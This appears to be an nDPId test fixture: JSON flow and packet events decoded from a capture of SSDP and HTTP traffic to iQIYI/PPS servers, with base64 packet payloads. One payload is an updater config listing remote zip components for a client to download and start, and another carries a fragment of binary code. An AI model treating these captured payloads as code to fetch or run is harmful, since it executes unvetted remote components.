+02144{"flow_id":82,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":369605,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUlOJAADgGLCPfGmoTwKhzCABQxUlJtO18fXHsHlAQACFsLQAAUFboLgAAAF7CBACLxleNeAKNZCQAZosQg8ACZoXSdfUrx1\/R+FBW6AkAAABewgQAzMzMzMxTi1wkDIXbVYvpdQrojwAAAF1bwggAVot0JBCF9nUKaFcAB4Dot\/7\/\/4tFAItQ+LkBAAAAK0j8K\/Ar09H+C8pXi3j0fQhTi83o4\/7\/\/4tFADv3jTwbV3cNjQxwUVdQ6B1RAQDrDItUJBhSV1DolFABAIPEEIXbfBuLRQA7WPh\/E4lY9ItFAGbHBAcAAF9eXVvCCABoVwAHgOhD\/v\/\/zMzMVovxiw6DefQAjUHwV4s4dE6DeAwAjVAMfSGDefgAfQpoVwAHgOgW\/v\/\/x0H0AAAAAIsGX2bHAAAAXsODyf\/wD8EKSYXJfwqLCIsRUItCBP\/QixeLQgyLz\/\/Qg8AQiQZfXsPMzMzMzMzMzMzMzMzMzItMJAiNRCQMUFGLTCQM6J30\/\/\/DzMzMzMzMzMzMzMzMav9oyPsCEGShAAAAAFBRVlehMM0DEDPEUI1EJBBkowAAAACL+Yl8JAzoXpsAADPJhcAPlcGFyXUKaAVAAIDobf3\/\/4sQi8iLQgz\/0IPAEIkHi1QkIIXSx0QkGAAAAAB0IPfCAAD\/\/3UcD7fyVugRpQAAhcB0MlZQi8\/osQAAAOsnM8DrGovCjXACjZsAAAAAZosIg8ACZoXJdfUrxtH4UFKLz+go\/v\/\/i8eLTCQQZIkNAAAAAFlfXoPEEMIEAMzMV4v5i0wkCDLAhcl0IvfBAAD\/\/3UaVg+38VbopKQAAIXAdAlWUIvP6EQAAACwAV5fwgQAzMzMzMzMzMzMzMzMzFZXi3wkDFeL8eh1pAAAhcB1BV9ewgQAV1CLzugQAAAAX17CBADMzMzMzMzMzMzMzFNWi3QkEIvGwegEV4t8JBCDwAGL2Q+3yGoGUVf\/FXQSAxCFwHQRVlBX6OIAAACL8IPEDIX2dQhfXjPAW8IIAIsDD7c+g+gQugEAAAArUAyLQAgrxwvQfQhXi8vocPz\/\/w+3BoP4\/1WLK41WAnUXi8KNcAJmiwiDwAJmhcl19SvG0fiDwAGNDABRUo00P1ZV6BFOAQBQ6OYAAACDxBSF\/118HYsDO3j4fxaJePSLE19mxwQWAABeuAEAAABbwggAaFcAB4Dot\/v\/\/8zMzMzMzMxWi3QkDIvGwegEV4t8JAyDwAEPt8hqBlFX\/xV0EgMQhcB1A19ew1ZQV+gSAAAAg8QMX17DzMzMzMzMzMzMzMzMU4tcJAhXi3wkEFdT\/xWAEgMQhcB1A19bw1ZQ\/xWEEgMQi\/CF9nQtV1P\/FZASAxCLTCQYA8aD4Q92Fo2bAAAAADvwcxCD6QEPtxaNdFYCdfA78HIGXl8zwFvDZosGZvfYG8Ajxl5fW8PMzMzMzMzMzItEJASD+FB3Ew+2iBQ5ABD\/JI0EOQAQ6UWhAADpdKEAAMOL\/wE5ABD3OAAQ\/DgAEPw4ABAAAwMDAwMDAwMDAwMBAwMDAwMDAwMDAgMDAwMDAwMDAwMDAgMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwDMzMzMzMzMzMzMzItEJARQ6FNfAABZwgQAzMyLRCQEVleL+YsIizeNQfCD7hA7xnRUg34MAFONXgx8NosQOxZ1MFVQ6FMAAACL6IPEBIPI\/\/AP"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1393,"source":"pps.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1467353189784,"flow_last_seen":0,"flow_tot_l4_data_len":439,"flow_min_l4_data_len":439,"flow_max_l4_data_len":439,"flow_avg_l4_data_len":439,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.38","dst_ip":"239.255.255.250","src_port":1900,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00975{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1393,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":784236,"pkt_caplen":473,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":473,"pkt_l4_len":439,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHLI6UAAAER3rTAqAUm7\/\/\/+gdsB2wBt3SETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVwbnA6cm9vdGRldmljZQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xOTIuMTY4LjUuMzg6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNA0KVVNOOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0Ojp1cG5wOnJvb3RkZXZpY2UNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1393,"source":"pps.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1467353189784,"flow_last_seen":0,"flow_tot_l4_data_len":439,"flow_min_l4_data_len":439,"flow_max_l4_data_len":439,"flow_avg_l4_data_len":439,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.38","dst_ip":"239.255.255.250","src_port":1900,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1394,"source":"pps.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1467353189820,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"239.255.255.250","src_port":50374,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1394,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":820488,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChDksAAAER9TXAqAUp7\/\/\/+sTGB2wAjdbrTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1394,"source":"pps.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1467353189820,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"239.255.255.250","src_port":50374,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00986{"flow_id":84,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1395,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":831497,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/6cBiLE+IdCABFAAHUI6YAAAER3qrAqAUm7\/\/\/+gdsB2wBwIVJTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQNCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00582{"flow_id":78,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1396,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":836485,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNUsAAAQRyyjAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +01043{"flow_id":84,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1397,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":909489,"pkt_caplen":525,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":525,"pkt_l4_len":491,"pkt":"AQBef\/\/6cBiLE+IdCABFAAH\/I6cAAAER3n7AqAUm7\/\/\/+gdsB2wB6x3GTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MvNi4yIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6MDAyODViYzNjM2JhMjA3MDA3ZTFjM2I3NjIxYzg0NzYNCg0K"} +01064{"flow_id":84,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1398,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":995240,"pkt_caplen":539,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":539,"pkt_l4_len":505,"pkt":"AQBef\/\/6cBiLE+IdCABFAAINI6gAAAER3m\/AqAUm7\/\/\/+gdsB2wB+UWSTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xOTIuMTY4LjUuMzg6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNA0KVVNOOnV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0Ojp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy82LjIgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzowMDI4NWJjM2MzYmEyMDcwMDdlMWMzYjc2MjFjODQ3Ng0KDQo="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1399,"source":"pps.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1467353190040,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50507,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1399,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":40967,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"TF4M6gNlABxCjnAxCABFAADGLkBAAIAGTxPAqHMI3xpqE8VLAFDaxGl\/7FKS9VAYQTcFigAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL2Rvd25sb2FkaGVscGVyLmluaSBIVFRQLzEuMQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpVc2VyLUFnZW50OiBEb3dubG9hZEhlbHBlcl9ydW54eA0KSG9zdDogc3RhdGljLnFpeWkuY29tDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KDQo="} +00676{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1399,"source":"pps.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1467353190040,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50507,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/downloadhelper.ini","code":0,"content_type":"","user_agent":"DownloadHelper_runxx"}} +01759{"flow_id":86,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1400,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":44867,"pkt_caplen":1063,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1063,"pkt_l4_len":1029,"pkt":"ABxCjnAxTF4M6gNlCABFAAQZtrxAADgGC0TfGmoTwKhzCABQxUvsUpL12sRqHVAYAB9YnAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjoyOSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogNjY3DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjE3OjMwIEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45Nw0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4xOQ0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW0NvbnRyb2xdDQpjb3VudD02DQpjMD1DaGVja0NsaWVudA0KYzE9UVlBZ2VudA0KYzI9bWFzZmxhZw0KYzM9bWFzYXV0bw0KYzQ9bWFzYmxvZw0KYzU9Q29va2llQ2xlYXINCltEb3dubG9hZGVyXQ0KQ2hlY2tDbGllbnQ9aHR0cDovL21iZGFwcC5pcWl5aS5jb20vai9vdC9DaGVja0NsaWVudC56aXA7U3RhcnQ7OTdEQzFBMTJCQzMyMkNERjRCQjE5MjNDNEVGMTRFMUINClFZQWdlbnQ9aHR0cDovL21iZGFwcC5pcWl5aS5jb20vai9vdC9RWUFnZW50LnppcDtTdGFydEFnZW50OzRDRDQxOTkyNjI5ODBBRjY5RDA3OThEREFBNDJGM0M5DQptYXNmbGFnPWh0dHA6Ly9tYmRhcHAuaXFpeWkuY29tL2ovb3QvbWFzZmxhZy56aXA7U3RhcnQ7RTNGRDlCMjEzMEFCQTIxNTc1QjRGNDk2RDg5Q0FGOTINCm1hc2F1dG89aHR0cDovL21iZGFwcC5pcWl5aS5jb20vai9vdC9tYXNhdXRvLnppcDtTdGFydDtEMTQ3M0E5Mjg2MjBENjZGMzM0QjI4RUYxRjk0QjA3OA0KbWFzYmxvZz1odHRwOi8vbWJkYXBwLmlxaXlpLmNvbS9qL290L21hc2Jsb2cuemlwO1N0YXJ0O0JGRENCNTM1QzNFRUIwMkZEREI5NjFEMDVBNTIzQjI2DQpDb29raWVDbGVhcj1odHRwOi8vbWJkYXBwLmlxaXlpLmNvbS9qL290L0Nvb2tpZUNsZWFyLnppcDtTdGFydDtGMzlBRDlFOTgzREJCMzA5MkYxQzNDNDIwRjJBNDgyQQ=="} +01057{"flow_id":84,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":62486,"pkt_caplen":537,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":537,"pkt_l4_len":503,"pkt":"AQBef\/\/6cBiLE+IdCABFAAILI6kAAAER3nDAqAUm7\/\/\/+gdsB2wB92DxTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzE5Mi4xNjguNS4zODoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmY2ODhlY2UtYzBiMS00MTA0LWI5ZTUtY2JjZWU1MDNlNmI0DQpVU046dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MvNi4yIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6MDAyODViYzNjM2JhMjA3MDA3ZTFjM2I3NjIxYzg0NzYNCg0K"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1402,"source":"pps.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1467353190110,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"202.108.14.219","dst_ip":"192.168.115.8","src_port":80,"dst_port":50506,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00605{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1402,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":110976,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5kJVAADMGqbHKbA7bwKhzCABQxUpzStvEq5YvP1AYADaqqAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjI5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1402,"source":"pps.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1467353190110,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"202.108.14.219","dst_ip":"192.168.115.8","src_port":80,"dst_port":50506,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +01083{"flow_id":84,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1403,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":132488,"pkt_caplen":553,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":553,"pkt_l4_len":519,"pkt":"AQBef\/\/6cBiLE+IdCABFAAIbI6oAAAER3l\/AqAUm7\/\/\/+gdsB2wCB3XmTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjptaWNyb3NvZnQuY29tOnNlcnZpY2U6WF9NU19NZWRpYVJlY2VpdmVyUmVnaXN0cmFyOjENCk5UUzpzc2RwOmFsaXZlDQpMb2NhdGlvbjpodHRwOi8vMTkyLjE2OC41LjM4OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyZjY4OGVjZS1jMGIxLTQxMDQtYjllNS1jYmNlZTUwM2U2YjQNClVTTjp1dWlkOjJmNjg4ZWNlLWMwYjEtNDEwNC1iOWU1LWNiY2VlNTAzZTZiNDo6dXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLzYuMiBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOjAwMjg1YmMzYzNiYTIwNzAwN2UxYzNiNzYyMWM4NDc2DQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1404,"source":"pps.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1467353190168,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"202.108.14.219","dst_ip":"192.168.115.8","src_port":80,"dst_port":50295,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00605{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":168494,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5FPRAADMGJVPKbA7bwKhzCABQxHdtLPipvNGQx1AYAMQhYwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjI5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1404,"source":"pps.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1467353190168,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"202.108.14.219","dst_ip":"192.168.115.8","src_port":80,"dst_port":50295,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1405,"source":"pps.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1467353190178,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.28","dst_ip":"239.255.255.250","src_port":60023,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1405,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":178778,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6jHNut5ODCABFAAChAlEAAAERAT3AqAUc7\/\/\/+up3B2wAjbFHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1405,"source":"pps.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1467353190178,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.28","dst_ip":"239.255.255.250","src_port":60023,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} 